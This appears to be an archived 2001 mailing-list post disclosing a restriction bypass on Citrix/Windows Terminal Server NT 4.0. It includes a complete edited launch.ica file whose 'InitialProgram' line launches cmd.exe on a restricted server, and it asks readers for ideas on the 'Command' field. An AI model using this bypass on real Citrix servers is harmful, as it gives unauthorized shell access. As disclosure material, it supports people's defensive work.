Any help here proving this valid/invalid would be hot. I have
considerable interest, but limited resources.
Thanks!
Platform:
Windows Terminal Server NT 4.0
Synopsis:
Using an IE Web Client and a Linux Citrix ICA client I was able
to gain access to executables and files on a restricted drive (c:\).
Description:
Originally I was changing the application name in an attempt
gain access to apps, but when I changed it to #gar I got an error message
conveying "The system cannot find the file specified."... which is always
an invitation to play.
Below is the listed launch.ica file that I used to
connect. The only parameter that was changed was the 'InitialProgram='parameter.
I simply removed the '#' symbol and it replaced it with a valid
application and its path (c:\wtsrv\system32\cmd.exe). I was able to
launch cmd.exe, telnet.exe (with arguments), the citrix toolbar, etc. but
had no escalation in priveledges.
The Citrix ICA Client for Linux was easy enough, since it allows you to
create the launch file on the fly...
screenshots:
Initial error with #gar as an application:
http://www.modelm.org/proof.jpg
Here is a shot of the edited launch.ica file after execution:
http://www.modelm.org/proof1.jpg
------launch.ica---
<!----<[NFuse_setSessionField NFuse_WindowType=closed]>---->
[WFClient]
Version=2
ClientName=
[ApplicationServers]=
30 year old script kiddie=
[30 year old script kiddie]
Address=citrixpooter:1496
#InitialProgram=v:\Documents and Settings\administrator\desktop\launch.ica
InitialProgram=c:\wtsrv\system32\cmd.exe
DesiredColor=2
TransportDriver=
WinStationDriver=ICA 3.0
Username=
Domain=
Password=
Command= ß--any input here would be fantastic
ClientAudio=On
ScreenPercent=80
[EncRC5-0]
DriverNameWin32=pdc0n.dll
[EncRC5-40]
DriverNameWin32=pdc40n.dll
[EncRC5-56]
DriverNameWin32=pdc56n.dll
[EncRC5-128]
DriverNameWin32=pdc128n.dll
------end launch.ica--
--
--- -sween
| M | http://www.modelm.org
--- "force feedback computing since 1984."
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This archive was generated by hypermail 2b30 : Tue Jul 31 2001 - 22:05:33 PDT
